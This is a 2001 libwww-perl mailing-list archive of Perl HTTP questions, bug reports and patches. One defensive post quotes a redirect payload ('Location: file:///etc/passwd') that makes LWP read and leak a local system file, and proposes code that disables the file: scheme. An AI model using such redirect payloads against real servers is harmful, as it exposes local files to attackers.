  $node->rebless_down( what_class ) # recurses

or whatever.  But maybe I'll just be nice and put such a method into class
HTML::Element anyway; not much point in people writing their own for each
Element subclass.

--
Sean M. Burke  sburke@cpan.org  http://www.spinn.net/~sburke/


From erik@collectoronline.com Mon Feb  5 12:07:03 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa28997 for <hyper>;
          5 Feb 2001 12:07 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa04024
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 5 Feb 2001 12:06 PST
Received: (qmail 3250 invoked by uid 508); 5 Feb 2001 20:05:17 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 19387 invoked from network); 5 Feb 2001 02:49:11 -0000
Mime-Version: 1.0
Message-Id: <p04330102b6a3c1f7bc9c@[24.48.160.218]>
Date: Sun, 4 Feb 2001 21:48:35 -0500
To: libwww@perl.org
From: Erik Wheeler <erik@collectoronline.com>
Subject: What am I doing wrong?
Content-Type: multipart/alternative; boundary="============_-1230781178==_ma============"

--============_-1230781178==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hello all:

I'm having a problem creating a GET request to a CGI script (on 
eBay). For some reason, the header key/value pairs don't seem to be 
appended.

When I print $req->as_string,  I get:

--- HTTP::Request=HASH(0x22dd0f0) ---
GET http://search-desc.ebay.com/search/search.dll
Host: search-desc.ebay.com
User-Agent: libwww-perl/5.13

-----------------------------------

...and the script gets a response which is the same if you just go 
directly to the base URL.

I'm assuming that there's something wrong with my syntax somewhere, 
but I've checked the pods and the LWP FAQ many times with no luck. 
What am I doing wrong?

Here's my script:


#!/usr/bin/perl -w

use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my ($ua,$req,$res,$url);

$ua = new LWP::UserAgent;

$url = 'http://search-desc.ebay.com/search/search.dll';

$req = GET $url,
		[
		  MfcISAPICommand =>	'GetResult',
		  ht		=>	1,
  		  ebaytag1	=>	'ebayreg',
		  query		=>	'Spofford',
  		  query2	=>	'Spofford',
		  search_option  =>	1,
  	 	  srchdesc	=>	'y',
		  exclude	=>	'',
		  category0	=>	'',
		  minPrice	=>	'',
		  maxPrice	=>	'',
  		  ebaytag1code =>	0,
		  st		=>	0,
		  SortProperty =>	'MetaNewSort',
  		];

$res = $ua->request($req);

print $req->as_string;

print $res->is_success ? $res->content : $res->status_line;


Thanks for any help you can give.


Erik Wheeler
--============_-1230781178==_ma============--

From sdyck@reveregroup.com Mon Feb  5 13:33:00 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa06105 for <hyper>;
          5 Feb 2001 13:33 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa07993
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 5 Feb 2001 13:32 PST
Received: (qmail 24353 invoked by uid 508); 5 Feb 2001 21:32:56 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 24344 invoked from network); 5 Feb 2001 21:32:56 -0000
Received: from chicago.reveregroup.com (HELO ?208.200.134.24?) (208.200.134.24)
  by tmtowtdi.perl.org with SMTP; 5 Feb 2001 21:32:56 -0000
Received: from MAIN by [208.200.134.24]
          via smtpd (for tmtowtdi.perl.org [209.85.3.25]) with SMTP; 5 Feb 2001 21:32:55 UT
Received: by main.reveregroup.com(Lotus SMTP MTA v4.6.6  (890.1 7-16-1999))  id 862569EA.0075D433 ; Mon, 5 Feb 2001 15:27:00 -0600
X-Lotus-FromDomain: REVERE
From: sdyck@reveregroup.com
To: libwww@perl.org
Message-ID: <862569EA.0075D30D.00@main.reveregroup.com>
Date: Mon, 5 Feb 2001 15:22:47 -0600
Subject: LWP and proxy authentication
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline



Greetings,

This seems like it should be a FAQ, but I've been unable to find an answer
anywhere.

Is it possible to use LWP::Simple with a proxy that requires authentication? If
so, how and if not what alternatives exist?

I tried setting a set of environment variables (HTTP_PROXY, HTTP_PROXY_PASS, and
HTTP_PROXY_USER) but continue to get a "407 Proxy authentication required"
error.

Stan Dyck
sdyck@reveregroup.com



From grue@perp.com Mon Feb  5 16:30:49 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa22099 for <hyper>;
          5 Feb 2001 16:30 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa17463
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 5 Feb 2001 16:30 PST
Received: (qmail 8292 invoked by uid 508); 6 Feb 2001 00:30:43 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 8283 invoked from network); 6 Feb 2001 00:30:42 -0000
Received: from perp.com (qmailr@204.228.135.158)
  by tmtowtdi.perl.org with SMTP; 6 Feb 2001 00:30:42 -0000
Received: (qmail 3444 invoked from network); 6 Feb 2001 00:30:41 -0000
Received: from adsl-63-204-193-2.dsl.snfc21.pacbell.net (HELO cause.perp.com) (63.204.193.2)
  by perp.com with SMTP; 6 Feb 2001 00:30:41 -0000
Message-Id: <5.0.2.1.0.20010204162726.00a006d0@mail.perp.com>
X-Sender: grue%perp.com@mail.perp.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Sun, 04 Feb 2001 16:30:27 -0800
To: libwww@perl.org
From: Grue <grue@perp.com>
Subject: Deluge now available
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed


         thanks to help from people and code on this list, and the fact 
that the company that i wrote it for decided to open source it, Deluge (a 
web site stress testing tool) is now available on sourceforge.

         just thought i'd mention it.


- grue
  www.perp.com/~grue


From jwhitlow@escrow.com Mon Feb  5 20:41:51 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa08978 for <hyper>;
          5 Feb 2001 20:41 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa22450
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 5 Feb 2001 20:41 PST
Received: (qmail 7927 invoked by uid 508); 6 Feb 2001 04:41:40 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 7917 invoked from network); 6 Feb 2001 04:41:40 -0000
Received: from unknown (HELO charger-e-mail1.escrow.com) (63.251.220.130)
  by tmtowtdi.perl.org with SMTP; 6 Feb 2001 04:41:40 -0000
Received: by charger.escrow.com with Internet Mail Service (5.5.2650.21)
	id <11B6C0F1>; Mon, 5 Feb 2001 20:45:01 -0800
Message-ID: <A96EB51924ADD311B724009027DCE18D907818@charger.escrow.com>
From: Jason Whitlow <jwhitlow@escrow.com>
To: "'libwww@perl.org'" <libwww@perl.org>
Subject: File Uploads
Date: Mon, 5 Feb 2001 20:45:00 -0800 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"

Need Some help.

I am running 5.005_03.

In html there is a 

<input type=file name=pic> etc.....

What this does is on the clients web browser gives them a Browse Button so
they can select a file off of there
local hard drive.  
What I need is......................   How do I take that value from that
field and upload that file from there hard drive to my server.


?????????????????????????????????????????????????????



Please help?????????????????

Jason

From noreply@sourceforge.net Wed Feb  7 03:23:28 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa08298 for <hyper>;
          7 Feb 2001 03:23 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa22686
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 7 Feb 2001 03:23 PST
Received: (qmail 2616 invoked by uid 508); 7 Feb 2001 11:23:21 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 2607 invoked from network); 7 Feb 2001 11:23:20 -0000
Received: from usw-sf-sshgate.sourceforge.net (HELO usw-sf-netmisc.sourceforge.net) (216.136.171.253)
  by tmtowtdi.perl.org with SMTP; 7 Feb 2001 11:23:20 -0000
Received: from usw-sf-web2-b.sourceforge.net
	([10.3.1.6] helo=usw-sf-web2.sourceforge.net ident=mail)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.16 #1 (Debian))
	id 14QSgy-0003rR-00; Wed, 07 Feb 2001 03:23:20 -0800
Received: from nobody by usw-sf-web2.sourceforge.net with local (Exim 3.16 #1 (Debian))
	id 14QShU-0006id-00; Wed, 07 Feb 2001 03:23:52 -0800
To: noreply@sourceforge.net, noreply@sourceforge.net, libwww@perl.org
Subject: [Bug #131388] joining Location header results into wrong URLs
From: noreply@sourceforge.net
Message-Id: <E14QShU-0006id-00@usw-sf-web2.sourceforge.net>
Sender: nobody <nobody@sourceforge.net>
Date: Wed, 07 Feb 2001 03:23:52 -0800

Bug #131388, was updated on 2001-Feb-07 03:23
Here is a current snapshot of the bug.

Project: libwww-perl
Category: None
Status: Open
Resolution: None
Bug Group: None
Priority: 5
Submitted by: nobody
Assigned to : nobody
Summary: joining Location header results into wrong URLs

Details: LWP: 5.50
Module: LWP::Protocol::http
Some servers return two Location: headers
(e.g.
http://service.bfast.com/bfast/click?bfmid=20911217&siteid=37451739&bfpage=hplink
after 2nd redirect - it's where code boiled out). push_header() will join
URLs with ', ', and this is kinda wrong =)
I haven't checked what RFC states about such cases yet, but anyhow, here's
a patch for module mentioned above
--- http.pm.old Wed Feb  7 13:18:53 2001
+++ http.pm     Wed Feb  7 13:19:16 2001
@@ -219,7 +219,11 @@
                last unless length $line;
 
                if ($line =~ /^([a-zA-Z0-9_\-.]+)\s*:\s*(.*)/) {
-                   $response->push_header($key, $val) if $key;
+                   if ($key =~ /^location/i) {
+                     $response->header($key, $val) if $key;
+                   } else {            
+                     $response->push_header($key, $val) if $key;
+                   }
                    ($key, $val) = ($1, $2);
                } elsif ($line =~ /^\s+(.*)/ && $key) {
                    $val .= " $1";


And thanks for a nice lib! 
Artiom Morozov
CSP Ltd.
apm@csp.org.by

For detailed info, follow this link:
http://sourceforge.net/bugs/?func=detailbug&bug_id=131388&group_id=14630

From derhoermi@gmx.net Thu Feb  8 04:06:36 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa14668 for <hyper>;
          8 Feb 2001 04:06 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa03575
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 8 Feb 2001 04:06 PST
Received: (qmail 16210 invoked by uid 508); 8 Feb 2001 12:06:21 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 16201 invoked from network); 8 Feb 2001 12:06:20 -0000
Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by tmtowtdi.perl.org with SMTP; 8 Feb 2001 12:06:20 -0000
Received: (qmail 20501 invoked by uid 0); 8 Feb 2001 12:05:56 -0000
Received: from pd903ba84.dip.t-dialin.net (217.3.186.132)
  by mail.gmx.net (mp003-rz3) with SMTP; 8 Feb 2001 12:05:56 -0000
From: Bjoern Hoehrmann <derhoermi@gmx.net>
To: noreply@sourceforge.net
Cc: libwww@perl.org
Subject: Re: [Bug #131388] joining Location header results into wrong URLs
Date: Thu, 08 Feb 2001 13:07:21 +0100
Organization: Web Programming and IT Development Guru [tm]
Reply-To: Bjoern Hoehrmann <derhoermi@gmx.net>
Message-ID: <nm258to522li34e7njieiaka6jdr0dbu4j@4ax.com>
References: <E14QShU-0006id-00@usw-sf-web2.sourceforge.net>
In-Reply-To: <E14QShU-0006id-00@usw-sf-web2.sourceforge.net>
X-Mailer: Forte Agent 1.8/32.548
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

* noreply@sourceforge.net wrote:
>Some servers return two Location: headers
>(e.g.
>http://service.bfast.com/bfast/click?bfmid=20911217&siteid=37451739&bfpage=hplink
>after 2nd redirect - it's where code boiled out). push_header() will join
>URLs with ', ', and this is kinda wrong =)

Quoting from RFC 2616 section 4.2:

|    Multiple message-header fields with the same field-name MAY be
|    present in a message if and only if the entire field-value for that
|    header field is defined as a comma-separated list [i.e., #(values)].
|    It MUST be possible to combine the multiple header fields into one
|    "field-name: field-value" pair, without changing the semantics of the
|    message, by appending each subsequent field-value to the first, each
|    separated by a comma. The order in which header fields with the same
|    field-name are received is therefore significant to the
|    interpretation of the combined field value, and thus a proxy MUST NOT
|    change the order of these field values when a message is forwarded.

It's an invalid response; LWPs treatment is 100% conforming, with
respect to the fact, that LWP does not validate the HTTP messages.
Better go and repair those servers.
-- 
Björn Höhrmann ^ mailto:bjoern@hoehrmann.de ^ http://www.bjoernsworld.de
am Badedeich 7 ° Telefon: +49(0)4667/981028 ° http://bjoern.hoehrmann.de
25899 Dagebüll # PGP Pub. KeyID: 0xA4357E78 # http://learn.to/quote [!]e
                        ~~ will code for food. ~~                       

From sburke@spinn.net Thu Feb  8 12:45:54 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa22368 for <hyper>;
          8 Feb 2001 12:45 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa10132
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 8 Feb 2001 12:45 PST
Received: (qmail 3583 invoked by uid 508); 8 Feb 2001 20:45:44 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 3574 invoked from network); 8 Feb 2001 20:45:43 -0000
Received: from spinnone.spinn.net (HELO newone.spinn.net) (root@216.223.224.6)
  by tmtowtdi.perl.org with SMTP; 8 Feb 2001 20:45:43 -0000
Received: from 2ch0201 (dialip59.spinn.net [216.223.225.59])
	by newone.spinn.net (8.9.3/8.9.3) with SMTP id NAA15859;
	Thu, 8 Feb 2001 13:44:49 -0700
Message-Id: <3.0.6.32.20010208132708.00890370@mail.spinn.net>
X-Sender: sburke@mail.spinn.net
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32)
Date: Thu, 08 Feb 2001 13:27:08 -0700
To: Jukka Suomela <suo@iki.fi>, libwww@perl.org
From: "Sean M. Burke" <sburke@spinn.net>
Subject: Disabling protocols in LWP (was: security problem with
  LWP::Simple::get in CGI scripts)
In-Reply-To: <1552242259.980804785@[192.168.1.10]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

At 09:46 PM 2001-01-29 +0200, Jukka Suomela wrote:
>[...pointing out a potential for evil...]
>        HTTP/1.0 302 Foobar
>        Location: file:///etc/passwd
>
>LWP gets back the redirection and honors it.  It opens the local file now
>and sends its contents to the evil user.[...]

I got to thinking about this and have decided that there are many
conditions under which I'd want a given program to not honor a any
"file:..." URL.

So I started digging around in the parts of LWP that most people don't see
(but which are, incidentally, quite tidily documented), and found that one
can specify what class should handles requests for a given URL scheme (like
gopher:, http:, https:, file:, etc.).
By simply making a class that "handles" requests by refusing them, and then
designating that as the handler for whatever scheme you want to disable,
you can restrict things however you like:

{
  package LWP::Protocol::No_go;
   # Class to "implement" any protocols that you want to
   #  actually have disabled.
   # Put this in LWP/Protocol/No_go.pm

  use HTTP::Response ();
  use HTTP::Status ();

  use LWP::Protocol ();
  @ISA = ('LWP::Protocol');

  sub request {
     # You've got the body / Now you want my soul
     #  / Don't even think about it / SAY NO GO.

     HTTP::Response->new(
       &HTTP::Status::RC_NOT_IMPLEMENTED,
         # Or RC_BAD_GATEWAY or RC_FORBIDDEN?  Dunno.
       'All LWP "' . ($_[1]->url->scheme). '"-scheme access disabled'
     );
  }
}

Then to disable 'file://' URLs you just say:
  use LWP::Protocol::No_go;
  LWP::Protocol::implementor('file', 'LWP::Protocol::No_go');


I could even suggest this addition to LWP::Protocol --

sub LWP::Protocol::unimport {
  # "unimport" is what gets called when you say "no modulename ..."
  shift; # ignore the class-name
  foreach my $scheme (@_) {
    require LWP::Protocol::No_go;
    LWP::Protocol::implementor(lc $scheme, 'LWP::Protocol::No_go');
  }
  return;
}

That's so you can say:

no LWP::Protocol qw(file https mailto);
  # or whatever you want to turn off

...which is a compile-time prama that calls LWP::Protocol::unimport with
those parameters.  Granted, that's not any more meaningful than this:

use LWP::Protocol::No_go;
foreach my $x (qw(file https mailto)) {
  LWP::Protocol::implementor($x, 'LWP::Protocol::No_go');
}

but the "no..." form is clear, concise, and pretty.


--
Sean M. Burke  sburke@cpan.org  http://www.spinn.net/~sburke/


From VaratharajaP@cl.uh.edu Thu Feb  8 13:59:50 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa29538 for <hyper>;
          8 Feb 2001 13:59 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa27112
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 8 Feb 2001 13:59 PST
Received: (qmail 14548 invoked by uid 508); 8 Feb 2001 21:59:41 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 14531 invoked from network); 8 Feb 2001 21:59:41 -0000
Received: from b3308-enz-30418.cl.uh.edu (129.7.166.180)
  by tmtowtdi.perl.org with SMTP; 8 Feb 2001 21:59:41 -0000
Received: by B3308-ENZ-30418.cl.uh.edu with Internet Mail Service (5.5.2653.19)
	id <DDA344QY>; Thu, 8 Feb 2001 16:03:48 -0600
Message-ID: <F59CD95179F4D311837100D0B74424E205309F@B3308-ENZ-30418.cl.uh.edu>
From: "Varatharajah, Pathmanathan" <VaratharajaP@cl.uh.edu>
To: 'Tan Joo Geok ' <joogeok@t-asia.net>, 
    "'libwww@perl.org '" <libwww@perl.org>
Cc: "'libwww@perl.org '" <libwww@perl.org>
Subject: Remove from list.
Date: Thu, 8 Feb 2001 16:03:42 -0600 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

 Remove 
Sorry, All mails to libwww@perl.org fails.
I have no choice

-----Original Message-----
From: Tan Joo Geok
To: libwww@perl.org
Sent: 12/13/00 3:36 AM
Subject: www.msn.com.sg

Hello.

I have some problem downloading http://www.msn.com.sg.
For both using lwp-request script from the libwww distribution and
telnet directly to www.msn.com.sg on port 80, I get a error response
of code 500, Internal Server Error.  From IE and Netscape browsers,
there is no problem with accessing this site though.

Does anybody know why this is happening? 

Thank you for your attention.

- Joo Geok

From VaratharajaP@cl.uh.edu Thu Feb  8 14:00:18 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa29588 for <hyper>;
          8 Feb 2001 14:00 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa27208
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 8 Feb 2001 14:00 PST
Received: (qmail 14550 invoked by uid 508); 8 Feb 2001 21:59:42 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 14531 invoked from network); 8 Feb 2001 21:59:41 -0000
Received: from b3308-enz-30418.cl.uh.edu (129.7.166.180)
  by tmtowtdi.perl.org with SMTP; 8 Feb 2001 21:59:41 -0000
Received: by B3308-ENZ-30418.cl.uh.edu with Internet Mail Service (5.5.2653.19)
	id <DDA344QY>; Thu, 8 Feb 2001 16:03:48 -0600
Message-ID: <F59CD95179F4D311837100D0B74424E205309F@B3308-ENZ-30418.cl.uh.edu>
From: "Varatharajah, Pathmanathan" <VaratharajaP@cl.uh.edu>
To: 'Tan Joo Geok ' <joogeok@t-asia.net>, 
    "'libwww@perl.org '" <libwww@perl.org>
Cc: "'libwww@perl.org '" <libwww@perl.org>
Subject: Remove from list.
Date: Thu, 8 Feb 2001 16:03:42 -0600 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

 Remove 
Sorry, All mails to libwww@perl.org fails.
I have no choice

-----Original Message-----
From: Tan Joo Geok
To: libwww@perl.org
Sent: 12/13/00 3:36 AM
Subject: www.msn.com.sg

Hello.

I have some problem downloading http://www.msn.com.sg.
For both using lwp-request script from the libwww distribution and
telnet directly to www.msn.com.sg on port 80, I get a error response
of code 500, Internal Server Error.  From IE and Netscape browsers,
there is no problem with accessing this site though.

Does anybody know why this is happening? 

Thank you for your attention.

- Joo Geok

From VaratharajaP@cl.uh.edu Thu Feb  8 14:12:44 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa00812 for <hyper>;
          8 Feb 2001 14:12 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa00097
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 8 Feb 2001 14:12 PST
Received: (qmail 19673 invoked by uid 508); 8 Feb 2001 22:12:36 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 19664 invoked from network); 8 Feb 2001 22:12:36 -0000
Received: from b3308-enz-30418.cl.uh.edu (129.7.166.180)
  by tmtowtdi.perl.org with SMTP; 8 Feb 2001 22:12:36 -0000
Received: by B3308-ENZ-30418.cl.uh.edu with Internet Mail Service (5.5.2653.19)
	id <DDA344Q6>; Thu, 8 Feb 2001 16:16:48 -0600
Message-ID: <F59CD95179F4D311837100D0B74424E20530A1@B3308-ENZ-30418.cl.uh.edu>
From: "Varatharajah, Pathmanathan" <VaratharajaP@cl.uh.edu>
To: "'libwww@perl.org '" <libwww@perl.org>
Subject: can you remove me from list. 
Date: Thu, 8 Feb 2001 16:16:41 -0600 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

 
Remove from you list.

-----Original Message-----
From: Steve Borruso
To: libwww@perl.org
Cc: joshb@inceptor.com
Sent: 11/21/00 12:12 PM
Subject: Re: Please Help ! - Need HTTP info on what LWP::Simple GETSTORE
issues

Thanks Josh !!

I installed WGET, pointed my script at Auctions.goto.com,  and it worked
like
a champ !

Thanks to all that helped me out with this problem.

Guess I'll be adding another newsgroup to my list  ... :)

Thanks again !
Steve

Josh wrote:

> Hi,
>
> Steve Borruso wrote:
> >
> > I hacked a script using  LWP::UserAgent as opposed to LWP::Simple
but it
> > looks like they probably
> > use the same underlying code as it gave me the same results of
hanging
> > and partial images.
>
> You could stop using LWP :) Have you tried 'wget'? Use a system call
or
> whatever to get it moving and look at the man page (or wget --help)
find
> idea of how to use it. It usually seems to be more bomb-proof than
LWP.
> But I didn't say that in a LWP mailing list.
>
> > I also tried to issue a traceroute, tracert, etc., from a telnet
> > session, but this may be fenced off (as are a few other cmds)  since
> > it didn't recognize the cmd.
>
> Have you tried "whereis traceroute"? Some of boxes I use don't path
the
> needed bin place so it looks like they're not installed.
>
> Josh
>
> --
> Josh Barker, Web Researcher (joshb@inceptor.com)
>
> This mail may contain links to content of a illegal, immoral or
> sexual nature. These are not affliated with Inceptor and are
> for purposes of illustration only.
>
> Tel : + 44 20 7661 9508   F: + 44 20 7240 8098
> Mail: Inceptor, 33 St James's Square, London SW1, UK

From npjpoland@zonnet.nl Fri Feb  9 09:03:17 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa09323 for <hyper>;
          9 Feb 2001 09:03 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa18707
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 9 Feb 2001 09:03 PST
Received: (qmail 15205 invoked by uid 508); 9 Feb 2001 17:03:05 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Delivered-To: moderator for libwww@perl.org
Received: (qmail 7437 invoked from network); 9 Feb 2001 11:13:25 -0000
From: Coos Poland <npjpoland@zonnet.nl>
To: libwww@perl.org
Message-ID: <513df520ca.520ca513df@zonnet.nl>
Date: Fri, 09 Feb 2001 11:13:34 GMT
X-Mailer: Netscape Webmail
MIME-Version: 1.0
Content-Language: nl
Subject: proxy , https and libwww
X-Accept-Language: nl
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

Dear all,

Working with perl, I encountered what appears to be a known problem 
with the libwww libary, i.e. adressing secure http sites through a 
proxy. I also found several fixes on the mailinglist, but still I 
didn't got it to work. So somewhere along the line I did something 
wrong. Is there somebody who can supply me with a working version for 
https requests of the libwww libary? I would be most grateful.

Thanks,

Coos Poland



 
 



From noreply@sourceforge.net Sat Feb 10 02:37:58 2001
Received: from poindexter.ics.uci.edu
           ( mmdf@poindexter.ics.uci.edu [128.195.1.71] )
          by gremlin-relay.ics.uci.edu id aa19805 for <hyper>;
          10 Feb 2001 02:37 PST
Received: from tmtowtdi.perl.org  ( qmailr@tmtowtdi.perl.org [209.85.3.25] )
          by poindexter-relay.ics.uci.edu id aa16537
          for <hyper@gremlin-relay.ICS.UCI.EDU>; 10 Feb 2001 02:37 PST
Received: (qmail 6676 invoked by uid 508); 10 Feb 2001 10:37:48 -0000
Mailing-List: contact libwww-help@perl.org; run by ezmlm
Precedence: bulk
list-help: <mailto:libwww-help@perl.org>
list-unsubscribe: <mailto:libwww-unsubscribe@perl.org>
list-post: <mailto:libwww@perl.org>
Delivered-To: mailing list libwww@perl.org
Received: (qmail 6667 invoked from network); 10 Feb 2001 10:37:48 -0000
Received: from usw-sf-sshgate.sourceforge.net (HELO usw-sf-netmisc.sourceforge.net) (216.136.171.253)
  by tmtowtdi.perl.org with SMTP; 10 Feb 2001 10:37:48 -0000
Received: from usw-sf-web1-b.sourceforge.net
	([10.3.1.5] helo=usw-sf-web1.sourceforge.net ident=mail)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.16 #1 (Debian))
	id 14RXPV-00044L-00; Sat, 10 Feb 2001 02:37:45 -0800
Received: from nobody by usw-sf-web1.sourceforge.net with local (Exim 3.16 #1 (Debian))
	id 14RXPW-00038c-00; Sat, 10 Feb 2001 02:37:46 -0800
To: rho@bigpond.net.au, noreply@sourceforge.net, libwww@perl.org
Subject: [Bug #131826] HTTP::Daemon closed socket problem
From: noreply@sourceforge.net
Message-Id: <E14RXPW-00038c-00@usw-sf-web1.sourceforge.net>
Sender: nobody <nobody@sourceforge.net>
Date: Sat, 10 Feb 2001 02:37:46 -0800

Bug #131826, was updated on 2001-Feb-10 02:37
Here is a current snapshot of the bug.

Project: libwww-perl
Category: None
Status: Open
Resolution: None
Bug Group: None
Priority: 5
Submitted by: drrho
